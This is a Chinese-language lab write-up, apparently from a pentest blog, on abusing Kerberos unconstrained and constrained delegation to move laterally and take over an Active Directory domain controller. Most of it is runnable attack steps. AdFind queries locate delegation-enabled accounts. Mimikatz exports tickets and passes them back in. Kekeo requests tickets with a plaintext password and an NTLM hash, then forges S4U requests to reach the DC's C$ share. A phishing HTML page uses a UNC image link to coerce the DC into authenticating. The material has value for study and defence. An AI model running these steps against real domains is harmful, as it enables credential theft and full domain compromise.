前言
今天依旧是横向移动的内容,委派主要分为三类非约束委派、约束委派、资源委派。今天主要讲前面两个内容,资源委派留到最后再讲。
实验环境
Web:192.168.145.137,192.168.22.28
DC:192.168.22.30
非约束委派
原理
原理很简单,当DC访问具有非约束委派权限的主机A时,会把当前域管理员账户的TGT放在ST票据中,然后一起发给主机A。主机A会把TGT存储在lsass进程中以便下次使用,而我们的机器A就可以利用这个TGT伪装成域管理员去访问DC。
利用
当我们取得一台具有非约束委派权限的域内主机时,我们可以诱导DC来访问受控主机,拿到域管理员的TGT,从而伪装身份。
环境搭建
首先来到域控中,右键我们的Web主机,选择属性。
选择信任此计算机的任何委派。
接着输入命令,才能够在用户属性中找到委派。
setspn -U -A priv/test weige
接着我们到对应的用户,右键属性,也是选择信任此用户的任何委派。
实验测试
这里先让web主机上线CS先,然后提权为system,把Adfind这个工具上传到web服务器。
下载地址:Download AdFind (softpedia.com)
查询域内有非委派约束权限的用户,可以看到我们上面设置的weige这个账号。
AdFind.exe -b "DC=god,DC=local" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
查询域内设置了非约束委派的主机,也是可以看到我们上面设置的WLW---PC。
AdFind.exe -b "DC=god,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
我们这里先清除一下票据。
mimikatz kerberos::purge 清除凭证
shell klist purge 查看当前凭证
尝试访问DC,显示拒绝访问。
dir \\DC.god.local\c$
这里我们想办法诱导DC访问Web主机才行,可以做个网页钓鱼。不过就现实来说DC几乎不会去访问网页,也不会去访问域内主机,除非不小心点到了。
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<img src="file:///\\192.168.22.30">
</body>
</html>
这里我就懒得搞网页了,直接让DC连接Web主机吧。
net use \\WLW-PC
此时我们导出票据。
mimikatz sekurlsa::tickets /export
看一下票据,Administrator的就是DC的票据。
接着导入票据,好吧,这里不知道为啥失败了,明明昨天实验一把成功,今天又出问题了。那我直接拿一下别人的图片吧,其实到这里不用说你们也知道咋利用了。
图片引用:内网横向移动---非约束委派&约束委派_横向移动委派-CSDN博客
mimikatz kerberos::ptt [0;bbd89]-2-0-60a00000-Administrator@krbtgt-god.local.kirbi
访问域控。
约束委派
原理
由于非约束委派的不安全性,微软在windows server2003中引入了约束委派,对Kerberos协议进行了拓展,引入了sservice for user to self(S4U2Self)和Service for user to Proxy(S4U2proxy)。
利用
约束委派攻击主要利用被控主机设置了域控的CIFS服务的约束委派,则攻击者可以先使用S4u2seflt申请域管用户访问被控主机的ST1,然后使用S4u2Proxy以administrator身份访问域控的CIFS服务,即相当于控制了域控。
环境搭建
与非约束委派不同的是,约束委派选择仅信任指定服务,找到域控主机名,并选择服务类型为cifs添加。
找到相对应的用户,配置也是一样的。
实验测试
查询具有约束委派权限的用户。
AdFind -b "DC=god,DC=local" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
查询设置了约束委派的主机。
AdFind -b "DC=god,DC=local" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
由于域内主机想要访问域控,就必须要有TGT和ST。上面我们说过为了安全,Kerberos协议引入了S4U2Self和S4U2proxy。kekeo是一个模拟Kerberos认证的工具,我们可以用使用kekeo去申请TGT,明文或者hash都行,不要再问密码哪里来的了.
kekeo "tgt::ask /user:weige /domain:god.local /password:#abc123" "exit"
kekeo "tgt::ask /user:weige /domain:god.local /NTLM:579da618cfbfa85247acf1f800a280a4" "exit"
通过这刚刚生成的TGT伪造s4u请求以Administrator用户身份去访问域控的的CIFS的ST,S4U2Self 获取到的 ST1 以及 S4U2Proxy 获取到的 AD-2008 CIFS 服务的 ST2 会保存在当前⽬录下。
kekeo.exe "tgs::s4u /tgt:TGT_weige@GOD.LOCAL_krbtgt~god.local@GOD.LOCAL.kirbi /user:Administrator@god.local /service:cifs/DC.god.local" "exit""
//第一个斜杠后面的是上面生成的TGT,第二个是以administrator的用户去申请,记得加上域名,第三个则是域控全名
会在当前目录下生成两个票据。
接着导入票据,一般来说都是导入这个名字最长的票据,如过不知道就两个都试试。
mimikatz kerberos::ptt TGS_Administrator@god.local@GOD.LOCAL_cifs~DC.god.local@GOD.LOCAL.kirbi
成功访问域控。
dir \\DC.god.local\c$
总结
非约束委派和约束委派的最大区别就是,一个是信任此计算机的任何委派,一个只是信任指定委派。从实际运用来说,非约束委派由于要让DC进行连接才能获得票据,所以有点鸡肋,就不如约束委派。其实说来说去,本质都是票据的伪造,然后进行票据传递。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。